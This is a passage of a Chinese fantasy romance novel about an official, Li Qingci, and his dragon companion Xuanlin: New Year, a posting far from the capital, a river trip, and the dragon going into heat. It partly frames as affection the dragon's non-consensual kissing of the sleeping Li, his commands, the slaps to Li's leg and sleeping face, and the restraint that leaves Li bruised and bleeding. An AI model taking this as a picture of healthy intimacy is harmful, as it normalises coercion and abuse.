有玄鳞在,蚊虫不是问题,水多潮湿是好事,玄鳞住着开心,他也开心。 他将那张纸挑出来,递给高琼枝:“我就要这处院子,劳烦太夫人帮忙过割房契,后续修建事宜,我自己来。” “良言难劝该死的鬼。”高琼枝瞥他,哼道,“没事多泡泡脚、熏熏艾,省得害了一身风湿,老了还要我们娘俩照顾你。” 李青辞失笑,点头道:“行,多谢太夫人好意。” 房子的事彻底定下来,李青辞心头一松。 那处院子里头房屋简单,好拆除,年后动工,多雇些工人,估计小半年就能完工。 重点是里头的月湖,要好好收拾一番。 得先深挖湖底,免得玄鳞待在里面,一眼就让人瞧见了,再清淤疏浚,岸边种些高大的树木,夏天好乘凉,湖边栽些荷花、芦苇用以洁净湖水。 最好在河湖连接处建个堤坝,设闸门调控水位,省得冬夏水位不稳。 嗯……还要建个水榭,以后玄鳞在湖里泡水,他可以在榭里看着。 画好图纸,加紧施工,明年夏天玄鳞就可以在家里泡水了。 越想越开心。 李青辞脚步轻快,朝着房内走去。 他快速脱去身上厚重的衣物,穿着轻薄寝衣钻进被窝里,躺下好一会儿,也没等到玄鳞抱他。 他打开蚌壳,支起身子去看玄鳞。 原来是睡着了。 李青辞盯着他看了好一会儿,直到眼睛酸涩,他眨了眨眼,凑过??去紧挨着玄鳞躺下了。 第二天清晨,玄鳞依旧睡着。 李青辞握了握他的手,合好帷帐,自己一个人去上衙。 玄鳞这一个盹打了很久,李青辞虽然想跟他说话,但是心里并无急躁,毕竟人就躺在自己身边,随时都能看见。 玄鳞一连睡了七日,直到年节当天,窗外响起震耳欲聋的爆竹声,他才睁开了眼睛。 “什么动静?吵死了!!!”玄鳞语气暴躁,神情极为不耐。 李青辞听见他的声音,立刻放下手中的图纸,快速朝他跑过去:“玄鳞,你醒啦!” 玄鳞抬手搭在额上,掩去那双烦躁的眼睛,低嗯一声。 李青辞趴在床边,伸手在他胸前轻轻顺着,缓声道:“今天是年节,大家都在放爆竹烟花,以庆佳节,等过了子时就好了,最多还有半个时辰,马上就不吵了。” 屋外持续响着此起彼伏、噼里啪啦的爆竹炸裂声,这时,西院也放起了爆竹、焰火。 前前后后、里里外外,人声鼎沸,沸反盈天,孩童尖笑声、大人的呼喝声响成一片,仿佛千百个破锣同时在耳边炸开。 玄鳞的忍耐到达了极限,他猛地坐起来,阴沉着脸,下床朝外走去。 李青辞被他捞着腰,拎在手里,身形一晃一颠的。 李青辞去拍他的手,不明所以道:“玄鳞,你这是要干嘛呀?” “出去找清静!” 没等李青辞再回应,他突然被一片黑暗罩住,紧接着耳边就响起了呼啸的风声,视线再度亮起时,他站在高处,远处是亮着万家灯火的京城。 爆竹声模模糊糊,传到耳边不甚清晰。 玄鳞拼好石头,往上一躺,招呼李青辞过来。 李青辞收回视线,他转身坐下,伸手抚摸光滑温热的石头。 在心里说了一句,好久不见。 石头一角搁着的夜明珠散发着柔柔的光辉,照亮这一小片天地。 玄鳞双手枕在脑后,闭着眼睛,眉眼间的烦躁散去不少。 李青辞盯着他看了一会儿,俯身凑过去,趴在他怀里,轻声道:“这是你第一次陪我过年。” 玄鳞不甚在意:“又不是什么好东西,过它干什么。” 李青辞缓缓同他解释:“年节是我们凡人最重要的节日,不管是官员还是百姓,在这一天都会放下劳碌的事情,与亲朋好友团聚,庆贺佳节,它是一个很好的东西。” 玄鳞敷衍地嗯了一声:“好好……是好东西。” 李青辞笑了笑,没再多说。 周围安静下来,只有细微的风声,二人身上笼盖着星辉和珠光。 在这一片祥和静谧中,李青辞抱紧身边的男人,心中生出一股前所未有的满足。 玄鳞摸了摸枕在胸前的脑袋,低声道:“放心睡吧,等清静了我带你回去。” 李青辞仰脸冲他笑了笑:“好。” 爆竹声彻底消弭,时间缓缓流淌。 街上擦肩而过的人群,都脱下厚重的冬衣,换上轻薄的衣衫。 春天到了。 李青辞从衙署出来,脸上带着凝重,直到看见马车里的黑色身影,才神色稍霁。 玄鳞拉着他的手,把人抱在腿上,皱眉道:“怎么了?小脸皱巴巴的,看着比蛇胆都苦。” 李青辞郁闷地扣着手指头,止不住的唉声叹气,他先前做的打算全都成空了。 “我的任职调令下来了,朝廷让我去春源州任知州,为期三年。” 玄鳞问:“春源州在哪?是很不好的地方吗?” 李青辞摇头:“春源州离京城很远,在两千多里的大西边,不算富庶,但也不贫苦。” “只不过,它靠近千澜江的源头,州内流经一条支流,河水经常泛滥,每年都闹水患,农田、房舍被淹,百姓造成不少损失,朝廷派我去治理。” 玄鳞只听见两句。 一是离京城很远。 二是有附近有江有河。 他心中高兴,当即问道:“那这是个好地方呀,咱们什么时候去?” “等我把手头上的差事交割完毕,估计也就一个月了。”李青辞攥住他的手,忍不住失落,“咱们的新家才刚刚开始修建,我这一走,就没办法盯着了。” “等任期满回京,房子都放了两三年,又成旧的了。” 玄鳞毫不在意:“这有什么的,放几年又不会塌。” 李青辞没说话,低着头,情绪持续低落。 虽然知道这次去地方是为了攒资历,等他回来,主官正好致仕,他便可以顺利成章接任主官的位子。 可是,眼下刚开始建新家,要和玄鳞好好过日子了,结果一竿子给他支出那么老远。 早知道就提前找太夫人打个招呼,让他在京留任。 玄鳞看着李青辞一脸愁苦的样子,十分不解:“你到底在不高兴什么?” 李青辞叹了一口气:“我到任后,只能住在州衙后院,地方不会很大,可能都没有我们现在的院子大。” 玄鳞蹙起眉,语气嫌弃:“这么小?” 李青辞点了点头,随即朝他保证:“你放心,等我到任摸清楚情况后,就租一处大宅子,尽量找一条临河的,不会让你受委屈的。” 玄鳞挑了挑眉,脸上是不加掩饰的愉悦,他捧着李青辞的脸揉了揉:“不错,小崽儿真有良心。” 李青辞笑了笑,没说话。 玄鳞问他:“你什么时候闲着?” 李青辞翘着嘴角,笑着开口:“明日是万寿节,我不用当值,有三天假期。” 玄鳞道:“行,你之前不是想游船泛舟吗,正好最近天暖和了,明天带你出去玩。” “现在的鱼最是肥美,给你抓几条河豚吃。” “那些带翅膀的鸟也都该下蛋了,摸几窝给你炖蛋羹,你多吃点,再长得长一些。” 李青辞现在身形匀称,体态适中,双颊丰腴,脸色红润。 着实没必要再补了。 但是玄鳞致力于把李青辞养长、养胖,李青辞说过一回,说他不会再长高了。 玄鳞听完很不高兴,捏住他的嘴,不让他说话。 从那以后,李青辞也没再说过,玄鳞喂什么,他就吃什么。 好在他晚上经常走动,下衙后就和玄鳞跑出城玩,这才没有吃得富态圆润。 到家后。 在一双暗金色眼睛虎视眈眈的注视下,李青辞又多添了半碗饭。 晚间睡觉时,李青辞握着玄鳞的手,商量道:“你能不能缠松一点?有几次你都把我勒醒了。” 玄鳞眼神飘忽一瞬,随即绷紧下颌,理直气壮道:“那是你自己半夜睡醒了,少怪在我头上,我尾巴只是随便一搭,哪就缠紧了。” 李青辞被噎了一下,甩开他的手,背过身不理他。 “娇气得没边儿。”玄鳞伸出手指头,戳李青辞的后脑勺。 脑袋一连被戳了好几下,李青辞不堪其扰,伸脚踢他:“我要睡觉,你别再弄了。” 话音刚落,背后立时压上来一具黑沉沉的身体,脑袋像托了一块硬木疙瘩,坚硬的下巴抵着他发顶戳来戳去。 李青辞无奈地叹了口气,推了两下没推动,只好闭上眼不理会。 这时,他腰侧被用力握了一下,耳边响起低沉的不悦嗓音:“你还嫌弃上我了!当谁稀得抱你!” 玄鳞冷冷哼了一声,当即转过身,背对着人。 李青辞当作没听见,自顾自睡觉。 结果,过了好一会儿,他都没有睡意,身边空落落的,很不适应。 默了默,他若无其事地凑上去,紧贴着玄鳞的后背。 “滚,别挨着我。” 李青辞调整了一下姿势,伸手搂住玄鳞的腰,额头抵着他的脖子。 鼻息间全是熟悉的清冽气味,心安定下来,很快困意上涌,李青辞缓慢地眨动眼睛,意识逐渐涣散,安然睡了过去。 床内只闻清浅的呼吸声。 背后贴着的身体,很暖、很软。 很想用尾巴圈在怀里,好好把弄。 舒缓、湿润的热气呵在后颈,轻轻痒痒,心头像被蛛丝勾住一般,又像飞絮飘然掠过。 呵出的呼吸晕散出一股好闻的气味,让蛟忍不住想凑近嗅闻。 高大的身形,悄无声息地翻转过来。 侧躺的人影失去支撑,往底下倒去,却在半道落入一个坚实的怀抱里。 怀里的人触手温软,像是晌午刚采下来的棉花,带着暖暖的阳光。 忽然,很想尝尝棉花的味道。 这么想,就这么做了。 红润润的嘴唇微微张着呼吸,流溢着好闻的味道,不一会儿,嘴唇被舔得红肿,顷刻间又恢复原貌,本想就此止住,可是总忍不住想舔。 凡人的嘴唇架不住这么亲,再加上蛟龙涎液的效用变缓,唇瓣靡丽红肿,薄薄的一层??皮肉再经不住蛟的舔舐,仿佛下一瞬就要破皮。 好娇气的小嘴。 寂静里,响起一声不满的叹气,透着浓浓的无奈。 次日清晨。 李青辞从睡梦中醒来,察觉手脚都被捆住,大半边身子都被压在底下,他拨弄脑袋,满心无奈:“玄鳞,你松开我,抱太紧了。” 玄鳞没松,搂着他的腰往身下压,缠住他两条小腿的尾巴缓缓绞紧。 李青石缓缓吐出一口气,忍耐着禁锢。 四下很安静,身旁的一切细微感受都放大许多。 李青辞感受到紧贴着他后腰的鳞片正在翕张,时快时慢。 李青辞不禁疑惑,难道鳞片也要呼吸吗? 他转了转手腕,伸展手指,去摸玄鳞的腰。 指尖触到的是冰凉的鳞片,似乎没有尾巴的鳞片坚硬,没等他再认真感受,头顶突然响起呵斥声。 “爪子瞎摸什么?”气息有些粗重。 下一瞬,浑身禁锢全消,李青辞恢复自由,动了动手脚。 他扭头看向趴着的黑色身影,倒头躺在宽阔的肩上,揪着一股散在手边的漆黑长发,询问道:“什么时候起?” 李青辞脑袋压住玄鳞半截脖子,一条腿肆无忌惮的横在他身上,时不时蹬一脚。 看看! 都娇纵成什么样子了! 就差骑在他脑袋上了!!! 玄鳞鬓边的头发传来拉拽力道,没轻没重的,他深吸一口气,咬牙忍下了。 见他一直不说话,李青辞又蹬了他一脚:“起不起呀,我不想睡了,想出去玩。” 玄鳞怒火丛生,什么人呀!自己睡好了不让别人睡! 早知道这样,就不应该往他脸上吹气,让他夜里一直醒着,现在就不会闹着要早起。 玄鳞反手把人推开,语气烦躁:“走走走,不睡了!” 李青辞开心的“哎”了一声,立刻爬起来,下床洗漱收拾。 片刻后。 城外宽阔的河中央,浮起一叶黑色翩舟,上面并排躺着俩人。 隔着薄薄一层鳞片,李青辞能感受到身下潺潺流动的河水,泛起的波澜将他颠来荡去。 两岸延绵数里的桃林,竞相开放,浓郁的桃花香味儿盈满鼻尖,随意瞥去,都能看到花枝上飞舞的蜜蜂和蝴蝶。 岸边临水而生的柳树,次第冒出一颗颗翠色嫩芽。 风一吹,浅粉花瓣纷飞,柳枝轻轻飘动。 头顶煦日融融,照在人身上暖洋洋的。 身旁闭着眼睛的男人,神情流露出显而易见的惬意。 李青辞听着耳畔河水的流动声,不禁担心起来,这时正值春汛,河水流动的速度很快。 他抬手在玄鳞脸上晃了晃:“我们都漂半晌了,太远的话,晚上能回得来吗?” 玄鳞眼都不睁:“净操心些没用!” 李青辞哦了一声,放心了。 黑色蛟鳞载着两个人,顺着水流远去。 不知过去多久。 等上了岸,李青辞踩在地上,只觉得脚下虚软,脑袋晕乎乎的。 玄鳞去找吃的了,李青辞坐了一会儿,实在坐不住了,便起身去捡柴火,走走路散去不适。 地上堆的都是落叶,好不容易找到一根大点的树枝。 李青辞握住树枝拎起来。下面突然冒出一道响动。 枯叶被碾压得沙沙作响,动静很大,李青辞惊了一下。 他凝神看去,只见两条足有他小腿粗的灰褐色长蛇,正昂起脑袋,快速吐着信子,阴冷的竖瞳盯着他,欲要朝他蜿蜒游来。 看清这一幕,李青辞头发都要立起来了,他简直被吓得魂不附体,腿软得不行,都忘了叫喊。 两颗拳头大的蛇首,一高一低,交错起伏,冲着李青辞嘶嘶吐信。 李青辞掐紧手心,强迫自己镇定下来,他抖着手臂,摇摇晃晃地拿着树枝,和这两条蛇对峙,气虚喊道:“……别过来,快走开!” 蛇头越昂越高,信子吐得几乎晃出残影,其中一条蛇猛地朝李青辞蹿过来。 李青辞浑身汗毛都激起来了,他惊慌失措地挥舞树枝,下意识尖叫一声:“玄鳞!呜呜呜……玄鳞……” 呜咽的喊叫声随风飘散,远远的,玄鳞听见动静,立刻扔下手里的东西,掐诀朝李青辞遁去。 “怎么了!”到了跟前,玄鳞一把搂住李青辞,用臂弯把人护在怀里。 李青辞吓得不行,勾住他的脖子,抬腿往他身上爬:“呜呜呜……我害…怕,有蛇要咬我。” 玄鳞没听清他咕哝的什么,见他怕成这样,立刻托着他的屁股,把人抱在身上,拍着他的后肩,低声安抚:“小崽儿别怕,我在这呢,到底怎么了?慢慢说。” 李青辞心里一松,大口喘着气,他快速拍着玄鳞的肩膀,急切道:“快走快走!有两条蛇要咬我,好大的蛇!不知道有没有毒。” 这回玄鳞听清了,他侧目扫过去,就见两条没他一根爪子粗的小玩意儿。 这么小的蛇都怕,要是小崽子见到他的原形,是不是胆都要吓破了。 怀里的人一直在抖,玄鳞垂下眼皮,心情莫名,顾不上多想,低声哄着人:“不用怕,没毒,他们没打算真咬你,也没办法游过来咬你。” “他们在交尾,你突然出现,身上还带着我的气味,那条公蛇是条没开智的蠢货,以为你要和他抢媳妇儿,他很不高兴,所以想把你吓走。” 玄鳞说完,释放了一丝气息,那条公蛇的气势顿时萎靡下去,安静如鸡,缠住那条乖顺的母蛇,继续沉浸交尾。 他抱着李青辞又哄了哄:“好了,别怕了,他们已经窝回去了。” 背后的宽阔的手掌和鼻间清冽的气味,让李青辞找回理智,他平静下来,思绪回笼。 对呀! 玄鳞是蛟!好大的蛟!比这俩蛇大很多很多! 有玄鳞在,应该是这俩蛇怕他! 李青辞立刻心安了,同时生起一股好奇心,他还没有见过蛇交尾呢。 他从玄鳞肩上抬起头,转头去看。 就见两条蛇缠在一起,灰溜溜的两条,什么也看不出来。 李青辞不禁诧异:“你怎么知道他们在交尾,从哪看出来的?” 玄鳞的语气更为诧异:“这不是一眼就能看出来的吗?” 李青辞努着嘴,蹙着眉心,眯眼仔细盯着那两条蛇看,好半晌,一无所获。 他凑到玄鳞耳边,小声说话:“你能分清哪个是公的?哪个是母的吗?” 玄鳞被他这蠢问题搞无语了,耐着性子回他:“李青辞,你自个是傻子,别把我也当傻子看,这么简单的问题还要问我。” 李青辞迷茫了,难道真是他的问题吗? 可是这两条蛇长得一模一样呀,怎么能看得出公母呢? 玄鳞抬眼看他,见他呆呆地瞪着眼睛,微张着嘴巴,一脸迷茫的蠢样儿。 他嫌弃地啧了一声:“上面那条是公的,刚成年,下面那条母蛇年纪比他大一半。” 李青辞震惊地瞪大眼睛,不可思议道:“你也太厉害了吧!年龄都能看出来!” 对于他夸赞,玄鳞狐疑地皱起眉,他觉得李青辞是在讽刺他,这玩意儿一目了然,扫一眼鳞片就知道了。 小崽子不会是在阴阳怪气、嘲讽他吧? 玄鳞撩起眼皮,盯着李青辞端详,亮晶晶的眼睛里,确实是真心的惊叹和夸赞。 玄鳞:“……” 这也夸,小崽子真会奉承他。 李青辞拍了拍他的肩,小声道:“放我下来。” 玄鳞照做。 李青辞躲在他身后,扒着他的肩探出脑袋,害怕又好奇地打量那两条蛇。 只见两条蛇上下摞在一块儿,上边那条公蛇几乎全压在母蛇身上,尖尖的下巴戳着母蛇的脑袋,嘴里的信子时不时弹在母蛇身上。 母蛇垫在底下,身形一缩一缩的,很僵硬地抽动。 李青辞看得直蹙眉,他凑到玄鳞耳边小声问:“这真的是交尾不是打架?为什么公蛇一直压在母蛇身上?它是在欺负这条母蛇吧,驮着这么一长条东西,母蛇就不嫌沉吗?” 耳边喷洒的潮热气息,逸散到口鼻边,玄鳞一连嗅了两下,里头却混杂着一缕其他雄性的气味。 玄鳞眼神一凛,心里不受控地涌出怒意,一股邪火蹭的一下窜上来。 难闻死了! 他当即搂着李青辞的腰,把人拎走,同时用力挥手,散去李青辞身上恶心的的气味。 李青辞刚被放下,还没等他站稳,就见玄鳞拧着眉,神情不悦,朝他脸上重重吹了口气,眼睫都让他吹歪了。 李青辞觉得莫名,眨着眼睛问:“怎么突然走了?我还没看清楚呢。” 玄鳞没好气道:“你怎么这么好奇!这会儿又不怕了?” 李青辞上前抱住他一条胳膊,笑了笑:“有你在,我当然不怕了,我那不是没见过吗,确实有点好奇。” 玄鳞低下头,瞥李青辞一眼,冷着脸,没言语。 李青辞歪头,蹭他的脑袋:“你就跟我说说嘛,我好奇。” 柔软的发丝蹭到下巴的一刹那,暗金色的圆瞳突然变成鎏金色的竖瞳。 玄鳞身上陡然生出一股躁气,他一把推开李青辞的脑袋:“我怎么知道!天性就是这样!” “要不你现在回去,问问那条公的到底在干嘛,顺道再问问那条母的,问她嫌不嫌沉!” 很不耐烦的语气,李青辞抿了抿嘴,没吭声,他抬头瞟了一眼,只看到一张阴沉的脸。 “不说就不说,凶什么。”李青辞低着头,努嘴嘟囔一句,起身挪到一边。 玄鳞没理他,走到一旁处理河豚。 第56章 害怕我了? 在一片沉默中,吃完了饭。 两人中间隔着不远不近的距离,李青辞没贴上去,玄鳞也没搂他。 顺着河堤往回走,两岸的桃花一夕间失去了颜色,没有早上那样娇艳了,连花香都淡了很多。 从太阳在正南时就开始走路,一直走到日头偏西。 李青辞估摸着最起码走两个时辰了。 腿脚泛酸,他抿着嘴,努力调整呼吸,不想让自己的气息显得混乱急迫。 玄鳞眯了眯半阖着的眼睛,冷沉的脸色消融,他长舒一口气,身上那股躁郁总算压下去了。 回过神,玄鳞揉了揉掌心软乎的小手,往自己这边一扯,揽住一截紧窄的腰身,将人打横抱起。 “死心眼子,走累了也不叫我,腿不嫌酸?” 李青辞垂着眼皮,摇了摇头,没说话。 到了城门外,李青辞下来自己走,擦着昏暗的天色,两人走进了家门。 屋内弥散着浓郁的饭香,李青辞低头舀着蛋羹吃,玄鳞双手抱臂,沉着眉眼审视他。 一眼看过去,几乎看不到变化,还是这么细长一条,感觉他尾巴绞紧一点,小崽子就会断成很多截儿。 玄鳞不死心地上手摸他。 李青辞捏着勺子满心茫然,看着两只大手在他身上摸来摸去。 一边摸,一边发出烦躁的啧啧声。 李青辞觉得莫名其妙,他搁下勺子,拍开小腿上的手:“你干嘛呢?” “没什么,吃你的饭吧。”玄鳞深深叹了口气,语气夹杂着明显的失望,他抬手扶额,起身离去。 李青辞望着他的背影,忍不住暗中腹诽。 好端端的也不知怎么了,自己又没惹他。 收回视线,李青辞没再理会,认真吃饭。 第二天不上衙,李青辞在书桌前多呆了半个时辰,整理手上的图纸式样。 寂静里,只听床上传来沉闷的踢踏声。 李青辞一听,立刻放下手里的东西,朝床边走去,心中不免担忧,他这床板经得住玄鳞折腾吗? 等他躺在床上,玄鳞还在不高兴。 李青辞在他胸口顺了顺,轻声道:“好啦,这就睡了。” 玄鳞没说话,抬手不经意一搭,手臂刚好横在李青辞腰间。 李青辞握住腰上的手掌,缓缓睡了过去。 睡梦中,李青辞总觉身上哪里不适,他蹙着眉心,眨动着眼睛要醒过来。 眼睛湿漉漉的,眼皮像是被黏住一般,李青辞用力闭了下眼睛,努着嘴咕哝一声。 意识刚清醒些许,颈侧扑过来一道热热的气息,甚至有些烫,李青辞缩了缩脖子。 这时,他的脸被捧住了,耳边响起一道低沉暗哑的声音。 “小崽儿,舔舔我的下巴。” 李青辞困得不行,惺忪着眼睛,漆黑的床里什么也看不见,他忍不住拧眉:“大半夜的你干什么呀?” 似是不满他质问一般的语气,玄鳞用力揉了揉他的唇瓣,命令道:“舔!” 李青辞不高兴地撅着嘴,眯缝着眼睛,看不见玄鳞的脸,更找不见他的下巴。 他啊了一声,叹了口气,伸手去摸索:“你头低一点,我够不着。” 刚说完,就砸下来一具黑沉沉的身体,李青辞被压得喘不过气,他凑上去胡乱舔了两下:”好了,你挪开吧,我想睡觉。” 回应他的是略显急促的兴奋低喘声,玄鳞揉摸他的脸,低低笑着:”小崽儿好乖,再舔舔我的下巴。” 李青辞满心无奈,不知道玄鳞这是怎么了。 脸肉被掐住,耳边响起催促声。 “磨蹭什么呢,快舔我!” 李青辞瘫着脸,翻了下白眼,不大乐意地扬起下巴。 陡然间,他大腿被扇了一巴掌。 “啪”的一声,极为响亮。 又疼又麻,李青辞怔愣着还没反应过来,下巴又被钳住了。 “你那什么表情?不情愿?”玄鳞语气冷沉,“给我笑着舔!” 李青辞双眼瞪得大大的,满脸错愕,连疼都忘了。 黑暗里,他的一切表情都无所遁形,瞪圆的眼睛里流露出委屈和茫然。 玄鳞仰着脖子,喉结略显急促地滚了滚,他放轻声音,低头贴了贴李青辞的脸:“你乖一点,好好舔我,一会儿就让你睡觉。” 李青辞抿着嘴没作声,意识到玄鳞能看见他脸色,便闭上了眼,恢复平静的表情。 玄鳞贴着他的脸厮磨,声音异常低哑:”小崽儿……” 怅惘的低喃声,听得李青辞心头一颤。 他立刻伸手搂住玄鳞的脖子,一边舔他下巴,一边在他后背慢慢顺着。 漆黑的瞳仁透照着认真和顺服。 这副顺从的姿态极大取悦了猛兽。 玄鳞愉悦地挑着眉,鎏金色竖瞳半阖着,腰间鳞片翕动,尾巴尖儿紧紧缠在一条光滑洁净的小腿上。 李青辞勾着脖子的手臂渐渐松散,眼皮迟钝地眨动。 玄鳞一边用嘴唇磨蹭李青辞的脸肉,一边揉捏那截窄腰。 正在得意处,戛然而止。 不上不下,卡在中间,玄鳞几乎要呕出一口血,他拧眉,凝神看向底下的人。 白净纤长的脖子软塌塌垂着,脑袋歪成一个别扭的弧度,阖着眼帘,水红的嘴唇敞开一条缝隙,清浅、均匀的气息从缝里呵出来。 看清这一幕时,玄鳞咬紧牙,一股气血噌的上涌,眼睛都逼红了。 他气骂一句! 小崽子竟然睡着了! 这时候他竟然睡着了!!! 刚给他舔两下,这就睡着了?????? 玄鳞阴沉着脸,竖瞳冰冷地盯着眼皮子底下的人。 李青辞神情恬适,睡得安然。 玄鳞憋得难受,满心躁郁,咬牙切齿地瞪着那张可恶的小脸,恨不得一口咬穿他的脑袋。 越想越气,他一巴掌甩过去,扇在那张沉睡的脸上。 丰腴的颊肉轻颤一下,那颗极不顺眼的脑袋歪了歪,大半张脸闷在宽大的掌心里。 玄鳞发出不屑的冷嗤声。 想挨着我? 做梦吧! 漆黑的床榻内充斥着一道更黑的黑气,简直能化为实质将李青辞从头到脚裹在里面,狠狠绞碎他。 一片静谧里,呼吸声更加平稳。 安睡中。 李青辞忽然被戳醒了。 他脸颊一凹,有什么东西戳在他脸上,还时不时磨动。 很硬,带着凉寒。 李青辞觉得不舒服,他从困顿中睁开眼,意识清醒的瞬间,就感觉浑身被禁锢。 沉重的身躯覆在他身上,腰间、后肩的手臂圈得很紧,膝盖以下,两条腿都被尾巴裹缠住。 李青辞张着嘴,深深呼了口气。 他眯了眯眼,朝外打量,床内床外俱是黑灯瞎火的,什么都看不清。 天还没亮,这一顿觉真是睡得稀碎。 这时,戳在他脸上的东西又动了动。 李青辞心里惊诧,这到底是什么? 玄鳞两只手都在他身上,不可能是手指。 正思索着,那东西又戳了一下,都顶到他嘴里的牙了。 李青辞偏头避开,伸出手去摸。 手指刚挨着,身边的男人噌的一下弹开了。 动静太大,被子都掀飞了,床板发出咯吱咯吱的刺耳声响。 李青辞吓得心头一跳,他正想开口询问。 就听见一声暴躁的吼声:“你瞎摸什么!” 李青辞愣住,不明白玄鳞为什么凶他,抿着嘴没吭声。 顿了顿,他打开枕畔的蚌壳,夜明珠的亮光倾泻出来,照亮床上情形。 下一瞬,啪嗒一声,蚌壳被暴力合上。 “你就不能老实会儿!” 伴随着喝斥声落下,视线重新归于黑暗。 恍惚中,李青辞只看见玄鳞单手撑着额头,露出的下半张脸紧紧绷着,透着很明显的不悦。 莫名其妙,无妄之灾。 不想去触霉头。 惹不起还躲不起吗。 李青辞爬起来,摸索着撩开帷帐,起身下床。 突然,腰间猛地一紧,一股很重的力道将他往后拖,勒得他腰疼。 李青辞攥紧拳头,狠狠砸过去:“松开我!” 他不管不顾,扬起手就砸。 一连砸了三拳,直到拳头被一个宽大的手掌裹住,才被迫收力。 “好了,也不嫌手疼。”玄鳞语气低缓,拢着他的手慢慢揉搓。 李青辞挣扎,语调冷沉:“松开,我现在不想让你抱!” 黑暗中,他眼睛极其明亮,里头装的全是怒意,还有委屈。 玄鳞低下头,贴他的脸:“别气了,我给你做好吃的。” “我不吃!”李青辞怒喊,一把推开脸边的脑袋,“打一巴掌再给个甜枣,我又不是狗!” 玄鳞听得一头雾水,搂着他轻拍,无奈道:“我没说你是狗,只是想哄你,让你别生气了。” 李青辞再度推开腮边的脸,沉着脸问:“为什么凶我?还勒我,我腰都疼了。” “勒疼了?我看看!”语气急切。 话音落地,视线明亮。 玄鳞撩开李青辞的衣摆,只见白皙的腰侧,浮现着清晰的淤红指痕。 玄鳞心虚地吞咽,轻轻抚了抚,低声道:“我不是故意凶你,你摸我,我没反应过来。” 李青辞听完笑了,语气讽刺:“到底谁跟谁不亲,我摸你一下,你就这样对我,你整天搂着摸我,我有反应过激对你这样吗!” “再说了,是你那东西先戳的我的脸,我不知道是什么,想摸摸有错吗!” 结果,劈头盖脸吼他、凶他。 李青辞越说越委屈,拧着腰挪开,不想让这个讨厌的人碰他。 玄鳞叹口气,头疼又无奈,小崽子摸错地方了。 那是他的角。 想起来,他也很郁闷,也不知道怎么回事,打个盹竟然露出角了。 小崽子的手指又热又软乎,摸得他脊骨一颤,浑身不自在,鳞片都要炸开了。 玄鳞用力揉了揉额头,垂眼瞟去。 小崽子脸绷得紧紧的,漆黑的眼珠一直在喷小火苗,看来是气狠了。 他啧了声:“至于吗,我让你摸摸,别耷拉脸了。” 说完,顿了两息,他才慢吞吞地变出自己的角,忍着别扭凑到李青辞跟前。 李青辞愣住了。 光滑的额角突兀的长出一对挺拔的角。 黑褐色的角,根部粗壮有力,覆盖着细密的鳞片,角身光滑莹润,逐渐向上收细,顶端圆锐。 角中间有一个小分叉,颜色偏浅,凑近看,能看见很细小的绒毛。 呵出的热意打在角上,玄鳞忍受着怪异,坐在原地没躲。 李青辞忽然有些紧张,他擦了擦掌心的细汗,蹭干净手,轻轻握住右边那只角摩挲。 手感凉润,像玉石。 李青辞越凑越近,盯着上面的纹路看,喃喃道:“好漂亮啊……” “差不多行了!”玄鳞猛地推开他,鎏金色竖瞳蕴着羞恼,眼周泛起红色,“别没完没了。” 手心倏地一空,角没了。 李青辞被推的跌坐一旁,坐稳后,他小声抱怨:“好小气,就让摸一下。” 玄鳞别开脸不看他:“你别占便宜没够!我正难受呢,你别招我!” 李青辞闻言错愕,直呼冤枉:“我就轻轻摸了两下,不可能给你摸疼,这也要怪我?” 玄鳞翻身躺下,声音又低又闷:“我现在情况特殊,摸我的角就是在向我求偶,会导致我发情。” 李青辞瞳孔一震,整个人呆若木鸡,他看着黑色的背影,简直要崩溃:“那你还让我摸!” 玄鳞闻言转过身,没好气地瞪他:“不是你非要摸!” “我哪有!”李青辞感觉自己比窦娥还冤,“是你自己变出角让我摸的,再说了,你戳我脸的时候,我又不知道那是你的角,更不知道摸了会……” 面上一热,李青辞说不下去了,低着头不作声。 玄鳞抬手扶额,深深吐出一口气,腰间的鳞片按耐不住,蠢蠢欲动,惹得他躁烦难忍。 这时,李青辞突然惊呼一声:“玄鳞,你的手!” 玄鳞忍着烦躁,举起手扫了一眼。 原本光滑的手臂突兀长出一片片漆黑细鳞,从手背开始,快速朝上蔓延,一眨眼的功夫,鳞片已经长到小臂了。 李青辞惊诧的语气,错愕的神情,使玄鳞的烦躁达到鼎盛,他伸手拽住李青辞的手腕,猛地把人拖过来。 掐着他的脸问:“害怕我了?” 李青辞咽了口吐沫,没说话,眼睛直勾勾盯着玄鳞的小臂。 漆黑的鳞片紧密排列着,被柔和的珠光一照,暗光流动,闪烁着绚烂的辉光。 他情不自禁地摸上去,两只手握着玄鳞的小臂缓慢摩挲,仰头冲他一笑:“玄鳞,你的鳞片好漂亮啊!会发光哎!亮晶晶的,真好看!” 玄鳞身形僵住,怔愣地对上那双弯成月牙的眼睛。 手臂上再度传来温暖柔软的触感,轰地一下,理智全面崩塌。 玄鳞额上倏地冒出两只角,粗壮的蛟尾在一瞬间盘踞整张床榻,尾巴尖儿快速摇摆,猛地一下缠住李青辞的腰身。 在变故陡然发生时,玄鳞下意识捂住李青辞的眼睛。 视线突然被遮住,李青辞不明所以,茫然问:“怎么了?” 好一会儿,没得到回应。 腰间传来桎梏感,有什么在缠着他蠕动。 李青辞伸手去摸,指腹触到的都是坚硬冰凉的鳞片。 在他看不见、摸不着的地方,蜿蜒的蛟尾一寸寸绞上他的身体,冰冷的鳞片擦过他裸漏在外的肤肉,带着情欲的潮热气息灌进他的衣领。 李青辞懵然不知,迷茫地眨动眼睛:“怎么了呀?” 密长的眼睫簌簌扫在掌心,轻微的力道,却掀起一片惊涛骇浪。 玄鳞难耐地昂起脖子,他歪头压在李青辞发顶,嗓子低沉闷哑:”小崽儿,我发情了。” 压抑的近千年的情欲,一朝突然爆发,来势汹汹,无可阻挡。 玄鳞陷在猛烈的欲望里,无法抽离,也不想抽离。 低沉的嗓音如惊雷炸在耳侧,李青辞顿时愣住,瞪着眼不敢动,他僵着两条手臂,耳畔传来一道道沉哑的呼息声。 缓了缓,李青辞小声询问:“那,你发情会怎么样” 玄鳞从身后拥着李青辞,贴着他发顶磨动,眼神迷离,哑着嗓子低喃:“难受……想交尾……小崽儿我好难受……” 李青辞攥紧手,惶然失措,他要怎么做呢? 玄鳞低头在他唇边嗅闻,搂在他腰间手臂一紧再紧。 忽地,响起一道压得极低的闷哼声。 紧接着逸散出一缕血腥味。 玄鳞眼神一凛,他眯着眼,凝神去看,就见自己锋利的爪子,在李青辞腰侧划开一道口子,指尖挑起裂开的衣衫,露出里面浅粉的皮肉,殷红的血珠一颗颗渗出。 那抹鲜红刺激着玄鳞的心神,强迫他从迷乱中恢复神智。 